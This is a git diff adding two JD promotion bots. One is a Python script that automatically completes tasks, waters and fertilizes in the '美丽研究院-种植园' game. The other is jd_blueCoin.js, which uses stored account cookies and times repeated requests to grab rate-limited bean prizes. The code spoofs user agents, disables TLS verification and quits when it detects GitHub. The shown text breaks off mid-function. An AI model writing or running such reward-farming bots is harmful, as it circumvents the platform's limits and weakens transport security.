("账号【{0}】执行【观看其他小样】任务成功,获取【{1}】肥料".format (account, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-浏览化妆馆 +def do_fertilizer_task5(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_chanel_view?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行【浏览化妆馆】等待10秒".format (account)) + msg ("账号【{0}】执行【浏览化妆馆】任务成功,获取【{1}】肥料".format (account, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-美妆币兑换,每天5次 +def do_fertilizer_task6(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_exchange?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + for i in range (5): + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + # print(result) + score = result['inc'] + print ("账号【{0}】【shop_id:{1}】正在【兑换肥料】等待10秒".format (account, shop_id)) + msg ("账号【{0}】【shop_id:{2}】执行【兑换肥料】任务成功,获取【{1}】肥料".format (account, score, shop_id)) + time.sleep (10) + except Exception as e: + print (e) + msg ("账号【{0}】【shop_id:{1}】肥料兑换已达上限".format (account, shop_id)) + time.sleep (1) + + +# 浇水 +def watering(cookie, plant_id, sid, account): + try: + url = 'https://xinruimz-isv.isvjcloud.com/papi/watering' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + data = r'{"plant_id":' + f"{plant_id}" + r'}' + while True: + response = requests.post (url=url, verify=False, headers=headers, + data=data.encode ()) # data中有汉字,需要encode为utf-8 + result = response.json () + # print(result) + level = result['level'] # 当前等级 + complete_level = result['complete_level'] # 完成等级 + msg ("【账号{0}】【plant_id:{3}】成功浇水10g,当前等级{1},种子成熟等级为{2}".format (account, level, complete_level, plant_id)) + time.sleep (5) + + except Exception as e: + print(e) + # pass + + +# 施肥 +def fertilization(cookie, plant_id, shop_id, account): + url = 'https://xinruimz-isv.isvjcloud.com/papi/fertilization' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + data = r'{"plant_id":' + f"{plant_id}" + r'}' + i = 1 + while True: + try: + response = requests.post (url=url, verify=False, headers=headers, data=data) # data中有汉字,需要encode为utf-8 + result = response.json () + # print(result) + level = result['level'] # 当前等级 + complete_level = result['complete_level'] # 完成等级 + printT ("【账号{0}】【plant_id:{3}】成功施肥10g,当前等级{1},种子成熟等级为{2}".format (account, level, complete_level, plant_id)) + time.sleep (5) + i += 1 + + except Exception as e: + # print(e) + message = result['message'] + total = i * 10 + if "肥料不足" in message: + msg("【账号{0}】【plant_id:{1}】本次一共施肥{2}g".format (account, plant_id,total)) + printT ("【账号{0}】【plant_id:{1}】肥料不足10g".format (account, plant_id)) + break + + +def start(): + global cookie, cookies + print (f"\n【准备开始...】\n") + nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + if cookie != '': + account = setName (cookie) + access_token = get_ck (cookie, sid_ck, account) + cookie = get_Authorization (access_token, account) + name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) + taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie,account) + get_water (cookie, position_list, sid, account) + get_fertilizer (cookie, shop_id_list, account) + for i, j in zip (taskName_list, taskId_list): + do_task1 (cookie, i, j, account) + for i, j in zip (taskName_list2, taskId_list2): + do_task2 (cookie, i, j, account) + for i, j in zip (taskName_list3, taskId_list3): + do_task3 (cookie, i, j, sid, account) + + flag = 0 + for i in shop_id_list: + do_fertilizer_task (cookie, i, account) # 浏览关注 + for k in shop_id_list: + taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task (cookie, k, account) + do_fertilizer_task4 (cookie, k, account) + do_fertilizer_task5 (cookie, k, account) + if beauty_plant_exchange == 'true': + do_fertilizer_task6 (cookie, k, account) + for i, j in zip (taskName_list2, taskId_list2): + print (i, j, k) + do_fertilizer_task2 (cookie, i, j, k, account) # 浏览 + for i, j in zip (taskName_list3, taskId_list3): + print (i, j, k) + do_fertilizer_task3 (cookie, i, j, k, account) # 加购 + + if choose_plant_id == 'false': + for i in planted_id_list: + watering (cookie, i, sid, account) + fertilization (cookie, i, k, account) + else: + fertilization (cookie, planted_id_list[flag], k, account) + watering (cookie, planted_id, sid, account) + flag += 1 + + elif cookies != '': + for cookie, planted_id in zip (cookies, planted_ids): + try: + account = setName (cookie) + access_token = get_ck (cookie, sid_ck, account) + cookie = get_Authorization (access_token, account) + name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) + except Exception as e: + pass + for cookie, planted_id in zip (cookies, planted_ids): + try: + account = setName (cookie) + access_token = get_ck (cookie, sid_ck, account) + cookie = get_Authorization (access_token, account) + name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) + taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie, account) + get_water (cookie, position_list, sid, account) + get_fertilizer (cookie, shop_id_list, account) + for i, j in zip (taskName_list, taskId_list): + do_task1 (cookie, i, j, account) + for i, j in zip (taskName_list2, taskId_list2): + do_task2 (cookie, i, j, account) + for i, j in zip (taskName_list3, taskId_list3): + do_task3 (cookie, i, j, sid, account) + + flag = 0 + for i in shop_id_list: + do_fertilizer_task (cookie, i, account) # 浏览关注 + for k in shop_id_list: + taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task ( + cookie, k, account) + do_fertilizer_task4 (cookie, k, account) + do_fertilizer_task5 (cookie, k, account) + if beauty_plant_exchange == 'true': + do_fertilizer_task6 (cookie, k, account) + for i, j in zip (taskName_list2, taskId_list2): + print (i, j, k) + do_fertilizer_task2 (cookie, i, j, k, account) # 浏览 + for i, j in zip (taskName_list3, taskId_list3): + print (i, j, k) + do_fertilizer_task3 (cookie, i, j, k, account) # 加购 + + if choose_plant_id == 'false': + for i in planted_id_list: + fertilization (cookie, i, k, account) + watering (cookie, i, sid, account) + else: + print("【账号{}现在开始施肥】".format(account)) + fertilization (cookie, planted_id_list[flag], k, account) + print ("【账号{}现在开始浇水】".format (account)) + watering (cookie, planted_id, sid, account) + flag += 1 + except Exception as e: + pass + else: + printT ("请检查变量plant_cookie是否已填写") + + +if __name__ == '__main__': + printT ("美丽研究院-种植园") + start () + # if '成熟' in msg_info: + # send ("美丽研究院-种植园", msg_info) + if '成功' in msg_info: + send ("美丽研究院-种植园", msg_info) diff --git a/jd_blueCoin.js b/jd_blueCoin.js new file mode 100644 index 0000000..2eeb15e --- /dev/null +++ b/jd_blueCoin.js @@ -0,0 +1,526 @@ +/* +东东超市兑换奖品 脚本地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js +感谢@yangtingxiao提供PR +更新时间:2021-6-7 +活动入口:京东APP我的-更多工具-东东超市 +支持京东多个账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#东东超市兑换奖品 +59 23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, tag=东东超市兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true + +====================Loon================= +[Script] +cron "59 23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js,tag=东东超市兑换奖品 + +===================Surge================== +东东超市兑换奖品 = type=cron,cronexp="59 23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js + +============小火箭========= +东东超市兑换奖品 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, cronexpr="59 23 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东超市兑换奖品'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let allMessage = ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let coinToBeans = $.getdata('coinToBeans') || 0; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认不兑换京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 +let jdNotify = false;//是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/api?appid=jdsupermarket`; +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.data = {}; + $.coincount = 0; + $.beanscount = 0; + $.blueCost = 0; + $.errBizCodeCount = 0; + $.coinerr = ""; + $.beanerr = ""; + $.title = ''; + //console.log($.coincount); + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + // console.log(`目前暂无兑换酒类的奖品功能,即使输入酒类名称,脚本也会提示下架\n`) + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName || $.UserName}\n请重新登录获取cookie`); + } + continue + } + //先兑换京豆 + if ($.isNode()) { + if (process.env.MARKET_COIN_TO_BEANS) { + coinToBeans = process.env.MARKET_COIN_TO_BEANS; + } + } + try { + if (`${coinToBeans}` !== '0') { + await smtgHome();//查询蓝币数量,是否满足兑换的条件 + await PrizeIndex(); + } else { + console.log('查询到您设置的是不兑换京豆选项,现在为您跳过兑换京豆。如需兑换,请去BoxJs设置或者修改脚本coinToBeans或设置环境变量MARKET_COIN_TO_BEANS\n') + } + await msgShow(); + } catch (e) { + $.logErr(e) + } + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function PrizeIndex() { + let nowtime = new Date().Format("s.S") + let starttime = $.isNode() ? (process.env.SM_STARTTIME ? process.env.SM_STARTTIME * 1 : 60) : ($.getdata('SM_STARTTIME') ? $.getdata('SM_STARTTIME') * 1 : 60); + if(nowtime < 59) { + let sleeptime = (starttime - nowtime) * 1000; + console.log(`等待时间 ${sleeptime / 1000}`); + await sleep(sleeptime) + } + await smtg_queryPrize(); + // await smtg_materialPrizeIndex();//兑换酒类奖品,此兑换API与之前的兑换京豆类的不一致,故目前无法进行 + // await Promise.all([ + // smtg_queryPrize(), + // smtg_materialPrizeIndex() + // ]) + // const prizeList = [...$.queryPrizeData, ...$.materialPrizeIndex]; + const prizeList = [...$.queryPrizeData]; + if (prizeList && prizeList.length) { + if (`${coinToBeans}` === '1000') { + if (prizeList[1] && prizeList[1].type === 3) { + console.log(`查询换${prizeList[1].name}ID成功,ID:${prizeList[1].prizeId}`) + $.title = prizeList[1].name; + $.blueCost = prizeList[1].cost; + } else { + console.log(`查询换1000京豆ID失败`) + $.beanerr = `东哥今天不给换`; + return ; + } + // if (prizeList[1] && prizeList[1].status === 2) { + // $.beanerr = `失败,1000京豆领光了,请明天再来`; + // return ; + // } + if (prizeList[1] && prizeList[1].limit === prizeList[1] && prizeList[1].finished) { + $.beanerr = `${prizeList[1].name}`; + return ; + } + //兑换1000京豆 + if ($.totalBlue > $.blueCost) { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeList[1].prizeId); + if ($.errBizCodeCount >= 15) break + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else if (`${coinToBeans}` === '20') { + if (prizeList[0] && prizeList[0].type === 3) { + console.log(`查询换${prizeList[0].name}ID成功,ID:${prizeList[0].prizeId}`) + $.title = prizeList[0].name; + $.blueCost = prizeList[0].cost; + } else { + console.log(`查询换万能的京豆ID失败`) + $.beanerr = `东哥今天不给换`; + return ; + } + // if (prizeList[0] && prizeList[0].status === 2) { + // console.log(`失败,万能的京豆领光了,请明天再来`); + // $.beanerr = `失败,万能的京豆领光了,请明天再来`; + // return ; + // } + if ((prizeList[0] && prizeList[0].limit) === (prizeList[0] && prizeList[0].finished)) { + $.beanerr = `${prizeList[0].name}`; + return ; + } + //兑换万能的京豆(1-20京豆) + if ($.totalBlue > $.blueCost) { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeList[0].prizeId, 1000); + if ($.errBizCodeCount >= 15) break + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else { + //自定义输入兑换 + console.log(`\n\n温馨提示:需兑换商品的名称设置请尽量与其他商品有区分度,否则可能会兑换成其他类似商品\n\n`) + let prizeId = '', i; + for (let index = 0; index < prizeList.length; index ++) { + if (prizeList[index].name.indexOf(coinToBeans) > -1) { + prizeId = prizeList[index].prizeId; + i = index; + $.title = prizeList[index].name; + $.blueCost = prizeList[index].cost; + $.type = prizeList[index].type; + $.beanType = prizeList[index].hasOwnProperty('beanType'); + } + } + if (prizeId) { + if (prizeList[i].inStock === 506 || prizeList[i].inStock === -1) { + console.log(`失败,您输入设置的${coinToBeans}领光了,请明天再来`); + $.beanerr = `失败,您输入设置的${coinToBeans}领光了,请明天再来`; + return ; + } + if ((prizeList[i].targetNum) && prizeList[i].targetNum === prizeList[i].finishNum) { + $.beanerr = `${prizeList[0].subTitle}`; + return ; + } + if ($.totalBlue > $.blueCost) { + if ($.type === 4 && !$.beanType) { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeId, 0, "smtg_lockMaterialPrize") + if ($.errBizCodeCount >= 15) break + } + } else { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeId); + if ($.errBizCodeCount >= 15) break + } + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else { + console.log(`奖品兑换列表【${coinToBeans}】已下架,请检查活动页面是否存在此商品,如存在请检查您的输入是否正确`); + $.beanerr = `奖品兑换列表【${coinToBeans}】已下架`; + } + } + } +} +//查询白酒类奖品列表API +function smtg_materialPrizeIndex(timeout = 0) { + $.materialPrizeIndex = []; + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=smtg_materialPrizeIndex&clientVersion=8.0.0&client=m&body=%7B%22channel%22:%221%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + $.beanerr = `${data.data.bizMsg}`; + return + } + $.materialPrizeIndex = data.data.result.prizes || []; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//查询任务 +function smtg_queryPrize(timeout = 0){ + $.queryPrizeData = []; + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=smt_queryPrizeAreas&clientVersion=8.0.0&client=m&body=%7B%22channel%22%3A%2218%22%7D&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = JSON.parse(data); + // $.queryPrizeData = data; + if (data.data.bizCode !== 0) { + console.log(`${data.data.bizMsg}\n`) + $.beanerr = `${data.data.bizMsg}`; + return + } + if (data.data.bizCode === 0) { + const { areas } = data.data.result; + const prizes = areas.filter(vo => vo['type'] === 4); + if (prizes && prizes[0]) { + $.areaId = prizes[0].areaId; + $.periodId = prizes[0].periodId; + $.queryPrizeData = prizes[0].prizes || []; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//换京豆 +function smtg_obtainPrize(prizeId, timeout = 0, functionId = 'smt_exchangePrize') { + //1000京豆,prizeId为4401379726 + const body = { + "connectId": prizeId, + "areaId": $.areaId, + "periodId": $.periodId, + "informationParam": { + "eid": "", + "referUrl": -1, + "shshshfp": "", + "openId": -1, + "isRvc": 0, + "fp": -1, + "shshshfpa": "", + "shshshfpb": "", + "userAgent": -1 + }, + "channel": "18" + } + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}&functionId=${functionId}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, + headers : { + 'Origin' : `https://jdsupermarket.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://jdsupermarket.jd.com/game/?tt=1597540727225`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + } + $.post(url, async (err, resp, data) => { + try { + console.log(`兑换结果:${data}`); + if (safeGet(data)) { + data = JSON.parse(data); + $.data = data; + if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 400) { + $.beanerr = `${$.data.data.bizMsg}`; + //console.log(`【京东账号${$.index}】${$.nickName} 换取京豆失败:${$.data.data.bizMsg}`) + return + } + if ($.data.data.bizCode === 400) { + $.errBizCodeCount ++; + console.log(`debug 兑换京豆活动火爆次数:${$.errBizCodeCount}`); + return + } + if ($.data.data.bizCode === 0) { + if (`${coinToBeans}` === '1000') { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.beanscount === 1) return; + } else if (`${coinToBeans}` === '20') { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.data.data.result.count === 20 || $.beanscount === coinToBeans || $.data.data.result.blue < $.blueCost) return; + } else { + $.beanscount ++; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} 第${$.data.data.result.count}次换${$.title}成功`) + if ($.beanscount === 1) return; + } + } + } + await smtg_obtainPrize(prizeId, 3000); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function smtgHome() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_newHome'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市兑换奖品: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (data.data.bizCode === 0) { + const { result } = data.data; + $.totalBlue = result.totalBlue; + console.log(`【总蓝币】${$.totalBlue}个\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +//通知 +function msgShow() { + // $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【收取蓝币】${$.coincount ? `${$.coincount}个` : $.coinerr }${coinToBeans ? `\n【兑换京豆】${ $.beanscount ? `${$.beanscount}个` : $.beanerr}` : ""}`); + return new Promise(async resolve => { + $.log(`\n【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功` : $.beanerr}` : "您设置的是不兑换奖品"}\n`); + if ($.isNode() && process.env.MARKET_REWARD_NOTIFY) { + $.ctrTemp = `${process.env.MARKET_REWARD_NOTIFY}` === 'false'; + } else if ($.getdata('jdSuperMarketRewardNotify')) { + $.ctrTemp = $.getdata('jdSuperMarketRewardNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + //默认只在兑换奖品成功后弹窗提醒。情况情况加,只打印日志,不弹窗 + if ($.beanscount && $.ctrTemp) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${ $.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`); + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${coinToBeans ? `【兑换${$.title}】${$.beanscount ? `成功,数量:${$.beanscount}个` : $.beanerr}` : "您设置的是不兑换奖品"}`) + // } + } + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Referer': 'https://jdsupermarket.jd.com/game', + 'Origin': 'https://jdsupermarket.jd.com', + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new 